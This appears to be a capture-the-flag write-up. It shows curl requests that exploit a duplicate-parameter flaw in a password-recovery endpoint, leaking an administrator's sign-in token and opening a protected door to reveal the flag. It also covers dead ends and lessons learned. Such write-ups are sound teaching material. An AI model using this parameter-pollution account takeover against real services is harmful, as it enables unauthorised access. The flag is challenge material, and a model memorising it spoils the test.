Velvet Rehearsal
350 points. Three endpoints, all described on the page: a roster, a recovery flow, and a door.
ffcurl http://54.72.82.22:8310/api/members{"members":["visitor@studio.test","director@studio.test"]}The recovery endpoint sends a sign-in link and, for the visitor, returns the mailbox in the response. The director's mail stays hidden.
ffcurl -X POST "http://54.72.82.22:8310/api/recovery?member=visitor@studio.test"{"mailbox":[{"subject":"Your sign-in link","token":"..."}]}ffcurl -X POST "http://54.72.82.22:8310/api/recovery?member=director@studio.test"{"queued":true}The leak exists, though not where a token for the director was needed. A visitor token is worthless at the door:
ffcurl -X POST -H 'Content-Type: application/json' \
-d '{"token":"<visitor token>"}' http://54.72.82.22:8310/api/entry{"message":"The request could not be completed.","ok":false}Dead ends
Considerable time went to an incorrect model in which the JSON body drove the flow. Supplying member in the body while keeping a harmless query returned a mailbox every time and changed nothing, because the body is not read by this endpoint at all. Tokens were random on each call, so it was not possible to tell by eye which account a token belonged to, which made every guess look identical. Further attempts covered different field names at the door, case variants of the email, and array injection. All were dead ends.
The bypass
The endpoint reads member as a multi-valued parameter and uses the two occurrences for two different jobs: the first value decides whether the mailbox is revealed, and the last value decides who the token is issued to. Sending the visitor first satisfies the reveal check, and sending the director last sets the recipient.
ffcurl -X POST "http://54.72.82.22:8310/api/recovery?member=visitor@studio.test&member=director@studio.test"That returned a mailbox containing the director's token. Reversing the order broke it, confirming that the two values are read independently:
ffcurl -X POST "http://54.72.82.22:8310/api/recovery?member=director@studio.test&member=visitor@studio.test"{"queued":true}Feeding the leaked director token to the door opened it.
ffcurl -X POST -H 'Content-Type: application/json' \
-d '{"token":"<director token>"}' http://54.72.82.22:8310/api/entry{"message":"safctf{1745c9cc8a433522796feb9cfb8275de}","ok":true}Flag:
safctf{1745c9cc8a433522796feb9cfb8275de}Method notes
Treating the request body as meaningful carried the highest cost. Once JSON was no longer sent to /api/recovery and the query string itself was varied, the two-value behaviour appeared immediately. The query parameter should have been the target after the first duplicate-parameter test returned a mailbox, rather than after a dozen body shapes were attempted.
